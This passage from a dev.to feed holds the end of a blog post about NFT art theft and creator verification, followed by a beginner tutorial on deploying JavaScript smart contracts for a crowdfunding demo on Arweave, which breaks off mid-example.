&lt;p&gt;The digital art creator community is well aware of the Spoofing problem. This is one of the biggest concerns for creators to not mint an NFT out of their art. They would rather be away from this mess. But unfortunately even the ones who dont mint an NFT get exploited too. &lt;/p&gt;

&lt;p&gt;I found this very depressing story where the bad actor stole the art from the creator's website and sold it to a big company on Fiverr. The big company didn't do their due diligence properly so they believed the person whom they bought it from was the creator. I dont see why they would wanna make any effort into verifying a creator on Fiverr, they would just be happy that get got good art for a lower price. At last, the creator would find about this theft after 3 years when he noticed his art being sold at the company's NFT marketplace. The creator wasn't even making any money out of his work, he was just publishing them for free out of passion. When he found out, he would send emails demanding his art to be taken down immediately. &lt;br&gt;
For the complete story , check this &lt;a href="https://www.youtube.com/watch?v=InlyF4906w0" rel="noopener noreferrer"&gt;video&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  More problems
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Sending fake air-drops on Discord.&lt;/li&gt;
&lt;li&gt;Malicious NFT marketplaces that hijacks your wallet.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The problems take various forms, but I realised the root cause of all the problems is that:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;There isn't a trusted mapping that could establish the relationship between the art and the creator.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Like I mentioned before, humans cant draw conclusions from the wallet address nor the NFT token address. To our perception, we buy the art solely based on the legitimacy of the creator.&lt;/p&gt;

&lt;h2&gt;
  
  
  Present solutions
&lt;/h2&gt;

&lt;p&gt;After researching a bit, I found these measures at place that sort of solves the problem.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. OpenSea's Portfolio
&lt;/h3&gt;

&lt;p&gt;OpenSea is one of the largest and most used NFT marketplaces on the Ethereum chain. Artists who have been part of the ecosystem enjoy its benefits of having a verified Profile and all their collections at one place.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc9t877iojo1c9hxserus.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc9t877iojo1c9hxserus.png" alt=" " width="800" height="333"&gt;&lt;/a&gt;&lt;br&gt;
In the above example Artist page, one can see all the useful statistics like traded volume, number of items..etc&lt;br&gt;
This plays a crucial role in identify the legitimacy of the artist. One can also notice the link to their Twitter account, that adds an additional set of trust. &lt;br&gt;
Honestly, I appreciate the OpenSea team for putting in this much effort. &lt;br&gt;
But I got a few problems with OpenSea.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;OpenSea keeps adding all the features that pulls artists together and the best case we got is they become the next monopoly like Google imposing all the necessary features under their Premium feature. Thats just the best case :)
For NFTs which is supposed to be "decentralised", this future feels like we are the mercy of big corps like this. Now I know Moxie put up some real valid points about this that people dont want to run their servers. So definitely they are not going to build their own security systems. But there just gotta be a better way.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Deviant Art
&lt;/h3&gt;

&lt;p&gt;Deviant Art is another well-known marketplace. They have been in the game even before NFTs were a thing. And they have boarded the NFT wagon once it occurred. I found this article with the amazing title &lt;a href="https://www.deviantart.com/team/journal/Calling-All-Creator-Platforms-to-Fight-Art-Theft-901238948" rel="noopener noreferrer"&gt;Calling All Creator Platforms to Fight Art Theft&lt;/a&gt;. Even before reading through it, I had a good feeling that this is going to be something different. But, it wasn't :/&lt;br&gt;
It was pretty good though, they've implemented a realtime AI engine that goes through all of the uploaded art and detects if there is a similarity to an existing art. If there is a potential spoof, it sends an email to the creator. They call is "DeviantArt Protect". I also read that they are working with other marketplaces to integrate this feature.&lt;br&gt;
Like I said, its pretty good. It's the best in the industry. &lt;/p&gt;

&lt;p&gt;Again the problem is that it is only to users who have their Core Membership.&lt;/p&gt;

&lt;p&gt;I very well understand individuals can't build such tools pouring in millions of dollars and perform full time like their R&amp;amp;D. That's why Youtube is so powerful, they have the most robust Digital fingerprinting technology. It's called Content ID. This is used on Youtube to identify copyrighted content very quick. &lt;/p&gt;

&lt;p&gt;I certainly believe the purpose of decentralisation is to take what the big companies do at scale and decentralise it. If the nodes can solve cryptographic nonce to commit a transaction, they definitely can co-ordinate and do the same compute. Web3 has a long way to go to become mainstream but if the smart engineers keep working around these fundamental problems rather than trying a make a quick buck, we can get there sooner.&lt;/p&gt;

&lt;p&gt;A lot of people probably dont care about this. Others might view them as rants, I won't blame you. Even I feel that way sometimes...&lt;/p&gt;

</description>
      <category>web3</category>
      <category>nft</category>
      <category>digitalart</category>
      <category>hack</category>
    </item>
    <item>
      <title>Beginner's guide to deploy smart contract with an example</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Wed, 03 Nov 2021 09:31:53 +0000</pubDate>
      <link>https://dev.to/harishteens/beginners-guide-to-deploy-smart-contract-with-example-4ac0</link>
      <guid>https://dev.to/harishteens/beginners-guide-to-deploy-smart-contract-with-example-4ac0</guid>
      <description>&lt;p&gt;This guide tries to explain how to write and deploy smart contracts to Arweave using Javascript.&lt;/p&gt;

&lt;h2&gt;
  
  
  Table Of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Fundamentals&lt;/li&gt;
&lt;li&gt;PreRequisites&lt;/li&gt;
&lt;li&gt;Introduction&lt;/li&gt;
&lt;li&gt;Setting up inital state&lt;/li&gt;
&lt;li&gt;Updating state&lt;/li&gt;
&lt;li&gt;Deployment&lt;/li&gt;
&lt;li&gt;Interacting with the contract&lt;/li&gt;
&lt;li&gt;Summary&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Fundamentals &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;h4&gt;
  
  
  What is a smart contract?
&lt;/h4&gt;

&lt;p&gt;Smart contracts are digital substitutes of real world contracts. Once its coded and pushed to the chain, its immuatable, hence cannot be changed!&lt;/p&gt;

&lt;h4&gt;
  
  
  How to write one?
&lt;/h4&gt;

&lt;p&gt;There are plenty of networks out there. I deployed my contract to &lt;a href="https://www.arweave.org/" rel="noopener noreferrer"&gt;Arweave&lt;/a&gt;. Unlike many other networks, the smart contracts on Arweave can be written in JavaScript. The process to write and deploy one is fairly straight forward.&lt;/p&gt;

&lt;h3&gt;
  
  
  PreRequisites &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://github.com/ArweaveTeam/arweave-js#npm" rel="noopener noreferrer"&gt;Install Arweave CLI &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ArweaveTeam/SmartWeave#cli-usage" rel="noopener noreferrer"&gt;Install Smartweave CLI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Get &lt;a href="https://docs.arweave.org/info/wallets/arweave-web-extension-wallet#getting-started" rel="noopener noreferrer"&gt;Arweave wallet &lt;/a&gt; or &lt;a href="https://finnie.koii.network/" rel="noopener noreferrer"&gt;Finnie wallet&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Complete the above steps before moving ahead.&lt;/p&gt;

&lt;h3&gt;
  
  
  Introduction &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;There are two steps to deploying Smart Contracts on Arweave once the prerequisites are completed.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Write the smart contracts&lt;/strong&gt;
Go through the &lt;a href="https://github.com/ArweaveTeam/SmartWeave/blob/master/CONTRACT-GUIDE.md" rel="noopener noreferrer"&gt;Contract writing guide&lt;/a&gt; by Arweave Team. It contains an example of &lt;a href="https://github.com/ArweaveTeam/SmartWeave/blob/master/CONTRACT-GUIDE.md#hello-world-contract" rel="noopener noreferrer"&gt;Hello World&lt;/a&gt; that should set your fundamentals straight.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deploy them via CLI&lt;/strong&gt;
Once the contract files are ready. To deploy it via the CLI, you would need to export the private key of your Arweave/Finnie Wallet which you must have created earlier. Here is the &lt;a href="https://github.com/ArweaveTeam/SmartWeave/blob/master/CONTRACT-GUIDE.md#hello-world-contract" rel="noopener noreferrer"&gt;CLI Usage guide&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Setting up initial state &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;Please go through the introduction section and explore the attached resources before moving ahead.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Example Contract description&lt;/strong&gt; : Set up a Decentralised marketplace where people can donate to crowdsource fundraiser listings.&lt;/p&gt;

&lt;p&gt;Time to build our Crowdsource App 🥳🥳🥳&lt;/p&gt;

&lt;p&gt;In order to do that, we need two contracts to make it work.&lt;br&gt;&lt;br&gt;
A Collection contract that would contain all the information regarding the listing in its &lt;a href="https://github.com/HarishTeens/PeopleHelpPeople/blob/main/contracts/crowdsource/collection/init_state.json" rel="noopener noreferrer"&gt;state&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;owner&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Tabs over Spaces&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;description&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;This is my first petition. Please vote this petition to make spaces illegal&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;funds&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;raised&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;goal&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;records&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;

    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;  
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A Parent Crowdsource contract that would contain references to the above created collection contracts in its &lt;a href="https://github.com/HarishTeens/PeopleHelpPeople/blob/main/contracts/crowdsource/parent%20/init_state.json" rel="noopener noreferrer"&gt;state&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;owner&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;CrowdSource | PeopleHelpPeople&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;collections&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:{}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Updating state &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;There are two operations that could happen:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Users enlist a new crowdsource collection&lt;/li&gt;
&lt;li&gt;Users donate funds to the collection&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: These actions are basic and preliminary. Since I didnt have much time during the hackathon, this was all I could build. But obviously it could be expanded to make the system more usable and robust.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  Enlisting a Collection Contract
&lt;/h4&gt;

&lt;p&gt;Lets take a look at the enlist function on the &lt;a href="https://github.com/HarishTeens/PeopleHelpPeople/blob/main/contracts/crowdsource/parent%20/index.js" rel="noopener noreferrer"&gt;Parent Contract&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;enlist&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;listingId&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;undefined&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ContractError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`PetitionId cant be null`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;collections&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hasOwnProperty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;listingId&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ContractError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`PetitionId already exists`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;collections&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;listingId&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ContractError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Invalid input&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The enlist function performs the essential checks firstly, then adds the reference to the collections object of the state. This serves as a means to keep track of all the crowdsource contracts on the chain.&lt;/p&gt;

&lt;p&gt;After enlisting a collection contract, the parent contract state should like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;owner&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;CrowdSource | PeopleHelpPeople&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;collections&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Ji6MP-Wt_LYk6yaTsxEnhlpbRpAu08248PUTxnp2qOU&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Donating to a Collection Contract
&lt;/h4&gt;

&lt;p&gt;Once the collection is enlisted, users could transfer funds to the collection. Feel free to use any wallet services to transfer tokens. But make sure you got the correct address on the owner field.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Since I used Finnie wallet, I put my Finnie address inside the owner field.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Here is the &lt;a href="https://github.com/HarishTeens/PeopleHelpPeople/blob/main/contracts/crowdsource/collection/index.js" rel="noopener noreferrer"&gt;Collection Contract&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;donate&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;donorId&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;undefined&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ContractError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`DonorId cant be null`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;amount&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;undefined&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ContractError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`amount cant be null`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;amount&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;number&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ContractError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`amount must be a number`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;funds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;records&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;donorId&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;funds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;raised&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ContractError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Invalid input&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After performing essential checks, the contracts state is updated with the donor payment ID(address) and the amount of funds they have contributed.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The default currency is assumed to be KOII. Again a place for improvement. To support various currencies, currency field could be added to the record.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is how the collection contract would look like once users have donated some funds.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;owner&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
